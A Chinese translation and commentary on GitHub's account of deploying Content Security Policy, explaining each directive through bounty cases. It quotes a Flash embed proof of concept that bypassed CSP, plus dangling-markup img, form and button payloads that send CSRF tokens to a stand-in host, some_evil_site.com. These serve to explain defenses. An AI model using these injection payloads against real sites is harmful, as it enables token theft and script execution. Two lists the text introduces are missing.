GitHub CSP應用的經驗分享

wyzsk發表於2020-08-19
作者: 小餅仔 · 2016/04/20 10:04

0x 00 Abstract


最近看了一篇文章 GitHub's CSP journey,作者是GitHub工程師 Patrick Toomey ,文中分享了GitHub在 應用CSP (Content Security Policy) 上一些經歷和踩過的坑,並給出了一些實際的案例來說明策略設定的原因,很具有參考意義。

這裡花了點時間翻譯下文章的要點,並且加上一部分自己的簡單理解,給大家提供參考。因為時間和水平有限,有理解或翻譯錯誤,歡迎大家指出~

0x 01 Content Injection


文中首先介紹了 Content Injection 的概念,主要包括兩個方面:

因此僅防止XSS無法解決所有 Content Injection 問題。

在防止 Content Injection 上,GitHub使用了自動轉義模板(auto-escaping templates)、code review和靜態分析( static analysis)的方法 。但之前的漏洞證明,內容注入問題是無法徹底避免的。雖然我們無法透過單一方法來解決,我們可以結合多種防護措施來增加攻擊者利用漏洞的難度,比如 Content Security Policy (CSP),它是單獨使用中最有效的緩解措施。

0x 02 Content Security Policy


Content Security Policy能夠用來限制頁面的 web 資源的載入和執行,如JavaScript、CSS、form表單提交等。GitHub三年前的CSP 策略如下:

CONTENT-SECURITY-POLICY:
  default-src *;
  script-src 'self' assets-cdn.github.com jobs.github.com ssl.google-analytics.com secure.gaug.es;
  style-src 'self' assets-cdn.github.com 'unsafe-inline';
  object-src 'self' assets-cdn.github.com;

初始的策略為了保證向後相容性,主要透過限制資源載入的domain來完成,但是對於注入HTML標籤來竊取敏感資訊(後面會舉例說明)不起作用。

後來,GitHub對第三方依賴指令碼進行了重構和整理,增加了許多新的CSP策略,具體如下:

CONTENT-SECURITY-POLICY:
  default-src 'none';
  base-uri 'self';
  block-all-mixed-content;
  child-src render.githubusercontent.com;
  connect-src 'self' uploads.github.com status.github.com api.github.com www.google-analytics.com wss://live.github.com;
  font-src assets-cdn.github.com;
  form-action 'self' github.com gist.github.com;
  frame-ancestors 'none';
  frame-src render.githubusercontent.com;
  img-src 'self' data: assets-cdn.github.com identicons.github.com www.google-analytics.com collector.githubapp.com *.gravatar.com *.wp.com *.githubusercontent.com;
  media-src 'none';
  object-src assets-cdn.github.com;
  plugin-types application/x-shockwave-flash;
  script-src assets-cdn.github.com;
  style-src 'unsafe-inline' assets-cdn.github.com

注:上面的策略中,有少部分和防止 content injection 沒有直接的聯絡。

下一章我們將會討論上述CSP策略的具體細節、策略是如何阻止特定的攻擊場景,並透過一些案例(bounty submissions )來幫助我們理解策略的用途。

0x 03 CSP details


script-src

和最初的策略相比,當前的策略只允許從CDN來獲取JavaScript。

前:

script-src 'self' assets-cdn.github.com jobs.github.com ssl.google-analytics.com secure.gaug.es;

後:

script-src assets-cdn.github.com;

因此只要保證CDN上的資源是可靠即可阻止外部惡意指令碼的載入和執行。

此外,GitHub還採用了 subresource integrity 來減少載入惡意外部 JavaScript 的風險,Subresource Integrity 透過在標籤中新增 integrity 屬性,其值為資源對應的hash,比如:

<script src="/assets/application.js" integrity="sha256-TvVUHzSfftWg1rcfL6TIJ0XKEGrgLyEq6lEpcmrG9qs="></script>

瀏覽器在載入 application.js 時,會驗證其檔案的 sha256 hash值是否和 integrity 的值相同,不相同則拒絕載入。這個可以防止 CDN 被擼後載入惡意 js 檔案的場景,雖然 CDN 基本不太可能被擼~

這裡需要特別注意的是,修改後的 script-src 值是沒有包含 self 的,雖然一般來說從 self 載入JavaScript相對來說是安全的(被使用的也比較多),但還是應該儘可能避免。

比如下面這幾種特殊的情況,開發者應該考慮阻止從 self 載入和允許js指令碼。

透過將 self 從策略中移除,即使是出現了上面兩種情況,js程式碼也無法執行。

我們也可以透過增加響應頭 X-Content-Type-Options: nosniff 來阻止瀏覽器對內容的嗅探解析(sniffed)行為。與之相比,CSP能夠提供強有力的保證,即使存在一個攻擊者能夠控制 content-type bug,也無需擔心js程式碼會被執行。

object-src

在舊的的CSP策略中,對於 object 和 embed 標籤是允許 self 的。

object-src 'self' assets-cdn.github.com;

是因為GitHub依賴自己網站上的 ZeroClipboard 庫。 將依賴資源移動到CDN後,self 就不再需要了,但因為某些原因(懶得改 or 覺得不會有安全問題?),在後來的策略中並沒有被移除,直到一名 bounty hunter 發現了一種利用方式。攻擊者利用了一個 content injection bug 和 一個Chrome瀏覽器的bug 來 bypass CSP,並且成功執行js程式碼。攻擊過程如下:

首先,攻擊者用以下內容建立一個 Wiki 項:

<div class="selected">
<a href="https://some_evil_site.com/xss/github/embed.php" class="choose_plan js-domain">domain</div>
</div>

GitHub擁有一個特性,能夠在多個地方(Issues, Pull Requests, Comments)渲染使用者提供的HTML(通常是透過Markdown)。但使用者提供的HTML會經過過濾處理,防止注入任意的HTML。

這裡存在一種特殊情況,當HTML 標籤的class 屬性被設定為 choose_planjs-domain 時,會觸發 JavaScript 一些自動的操作,即自動請求標籤的 href ,並將 response 插入到 DOM中。

而這裡使用者是可以自定義HTML 標籤中的class屬性值的。但因為 response 中的HTML仍然會受到 CSP 的制約,無法執行任意的 JS 程式碼。但此時,攻擊者已經可以插入任意的HTML到DOM中了。

這裡我的理解是因為 some_evil_site.com 不在 'self' assets-cdn.github.com 裡,所以 自動請求標籤href資源 的行為會被瀏覽器blocked。這裡需要href 對應的domain為self 或 CDN,才能成功載入資源並且把響應插入到DOM中。

這裡bounty hunter給出的 POC也符合我的推測,domain使用的是self,即github.com:

<embed src="https://github.com/test-user/test-repo/raw/master/script.png" allowscriptaccess=always type="application/x-shockwave-flash">

前面在 script-src 提到,使用者可控的內容(user-controlled content) + 瀏覽器對內容的嗅探解析(content sniffing) 可能會導致非預期的行為,因此載入 GitHub.com domain上使用者可控的內容會增加指令碼執行的機率,所以 GitHub在載入使用者可控資源時,採取了跳轉到另一個域名的方式來完成,比如請求 https://github.com/test-user/test-repo/raw/master/script.png 會跳轉到 https://raw.githubusercontent.com/test-user/test-repo/master/script.png ,但 raw.githubusercontent.com 不在 object-src 允許的列表裡,那麼上面的POC是如何讓 Flash成功載入並執行的呢?

GitHub 經過研究,發現是因為 WebKit 的一個 bug 所導致。正常的邏輯是,瀏覽器會驗證所有的請求(包括redirects的)是否為CSP所允許。然而,有一些瀏覽器只會檢查第一個請求的 domain 是否在 source list中,而不檢查後續的 redirects 。

因為第一個請求的 domain 是self,embed 就能透過驗證。瀏覽器的 Bug 加上 注入的 HTML(需要注意的是 allowscriptaccess=always 屬性)導致了CSP bypass。

allowscriptaccess屬性的解釋如下:

The AllowScriptAccess parameter in the HTML code that loads a SWF file controls the ability to perform outbound URL access from within the SWF file
When AllowScriptAccess is "always," the SWF file can communicate with the HTML page in which it is embedded. This rule applies even when the SWF file is from a different domain than the HTML page.

這裡還需要注意的一點是,當 script.png 資源被載入時,返回的 content-typeimage/png 。但不幸的是, 只要Flash覺得響應像是一個Flash檔案,就會盡可能的去嘗試執行!

img-src

與其它策略不同, img-src 通常被關注的比較少。透過限制image的source,能夠防止敏感資訊洩露。比如當攻擊者能夠注入如下的img標籤:

<img src='http://some_evil_site.com/log_csrf?html=

可以看到標籤是未閉合的,這會導致在遇到下一個匹配的單引號之前的所有內容都會被當作是引數html的值,如果中間的內容包括一些敏感資訊,如CSRF token:

<form action="https://github.com/account/public_keys/19023812091023">
...
<input type="hidden" name="csrf_token" value="some_csrf_token_value">
</form>

當img被載入時,則會導致這些內容被當作引數傳送到 http://some_evilsite.com/

這樣的標籤被稱為 dangling markup ,除了 img 標籤之外,還有一些標籤頁能夠竊取敏感資訊。透過限制CSP 的 img-src,就能夠緩解這樣的情況。

connect-src

前面提到過,在標籤的class為某些特殊值時,JavaScript會自動載入標籤對應的URl資源,並修改DOM。透過限制 connect-src(限制XMLHttpRequest, WebSocket, and EventSource 的連線) 到特定的 domain list,能夠減少可能的攻擊面( attack surface)。比如向 api.braintreegateway.com 的連線只在支付相關的頁面被允許。

當然,如果為每一個頁面都手動新增 connect-src ,維護起來非常困難,GitHub使用了 Secure Headers library 來實現動態 CSP 策略調整,感興趣的可以看看。

form-action

透過限制form表單可以提交的 action,可以降低 form 標籤注入所帶來的風險。與之前討論的 "dangling markup" 標籤 image 不同的是,form更加的微妙。比如攻擊者能夠注入如下的程式碼:

<form action="https://some_evil_site.com/log_csrf_tokens">

注入標籤後的內容是一個form表單,如下:

<form action="https://github.com/account/public_keys/19023812091023">
...
<input type="hidden" name="csrf_token" value="afaffwerouafafaffasdsd">
</form>

因為注入的form標籤沒有閉合,瀏覽會向下尋找</form>,然後把之間的所有內容都作為表單的field,當使用者點選提交時,一些敏感資料,比如csrf token就會傳送到 https://some_evil_site.com/log_csrf_tokens,導致資訊洩露。

類似的透過 button 也可以完成:

<button type="submit" form="version-form" formaction="https://some_evil_site.com/log_csrf_tokens">Click Me</button>

透過限制 form-action 到特定的 domain list,可以減低所有透過 form 表單提交的方法來竊取敏感資訊的可能性。

但是GitHub測試後發現,當使用者在使用 Github OAuth 來登入第三方應用時,因為限制了 form-action ,會導致登陸失敗。

來看一下OAuth登入的過程,使用者訪問類似如下連結 https://github.com/login/oauth/authorize?client_id=b6a3dd26bac171548204 ,如果使用者之前已經授權過該應用,就會跳轉到應用程式的網站,如果沒有則會彈框讓使用者先允許授權。授權的過程會向 GitHub.com 提交一個 POST 請求,然後302跳轉到應用的網站。在這個過程中,form表單時提交到 GitHub.com的,但是響應是跳轉到第三方網站,因為第三方網站的domain不在 form-action 的列表裡,跳轉會blocked。

那麼是否要移除 form-action 的限制呢?GitHub想到使用 "meta refresh" 跳轉,類似這樣:

<head>      
    <title>The Tudors</title>      
    <meta http-equiv="refresh" content="0;URL='http://thetudors.example.com/'" />    
</head>  

meta refresh 是用來在客戶端進行跳轉的一種技術(用js跳轉也可以)。透過避免302跳轉,CSP只會檢查表單提交的請求進行,而不會檢查之後的跳轉,從而解決了這個問題。

GitHub在文中還提到,他們最終會為 form-action 新增 dynamic source 支援。

child-src/frame-src

Inline frames (iframes) 是很強的安全邊界。每個 frame 都受到同源策略的限制,就如同在單獨的window 或 tab 開啟一樣。但是有一些情況下,比如攻擊者能夠在 GitHub.com 上注入一個frame,frame能夠載入任意網站的內容,如果這個網址需要返回一個401的響應碼(HTTP Authentication),而此時瀏覽器不會處理內嵌的contexts,就會彈框要求使用者輸入帳號密碼。對於大多數有安全意識的人都知道GitHub.com不會使用 basic authentication 或 JavaScript prompt dialogs,但總有些人不知道,就傻乎乎的輸入帳號密碼了。

Firefox 瀏覽器支援一些frame的sandbox指令來防止這樣的情況,如 allow-modals ,但是隻對某些特定的 sandboxed frames 有效。在CSP中也沒有相似的指令來限制某個frame是否能夠彈框。目前唯一的緩解措施就是限制能夠被framed的 domain。

目前GitHub的策略是隻允許自己的渲染域(render domain),比如用來渲染 STL files, image diffs, 和 PDFs。不久前,GitHub在使用 automatic generator 來生成預覽頁面的地方加入了 self。這裡GitHub也提到,在將來,會使用之前提到的動態策略(dynamic policy)來取代。

frame-ancestors

這個指令是用來取代 X-FRAME-OPTIONS header的,可以緩解點選劫持(clickjacking )和其它。目前該指令沒有得到瀏覽器廣泛的支援,GitHub 在所有的響應中同時設定了 frame-ancestors 指令和 X-FRAME-OPTIONS header。目前預設的策略是阻止所有 framing GitHub內容的行為 。和 frame-src 類似,這裡是用了動態策略,在預覽生成的GitHub頁面的地方新增了self 。同時我們也允許透過 iframes 來 framing 分享 Gists 的頁面。

base-uri

比較少見,如果攻擊者能夠注入 base 標籤到頁面的head中,就可以改變所有relative URLs 。透過將其限制為 self, 我們可以保證攻擊者不能夠修改所有的relative URLs 和 將帶有CSRF tokens的form提交到惡意的站點。

plugin-types

許多瀏覽器外掛都或多或少都存在一些安全問題,將外掛限制到GitHub真正用到的列表,能夠減少注入objectembed 標籤後的潛在影響。plugin-types 指令與 object-src 的作用之間有一定的關聯性。正如之前所提到的,一旦 clipboard API 得到更廣泛的支援,GitHub就會block objectembed 標籤,把 object-src 的source設定成 none , 並將application/x-shockwave-flashplugin-types 移除。

0x 04 Summay


GitHub分享了自己在應用CSP的經驗和案例說明,個人覺得對於很多網站再應用CSP的時候有很好的參考和學習價值。

PS. 因翻譯的比較急,有些地方我也沒有弄的很明白,大家有疑問可以留言一起討論~

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章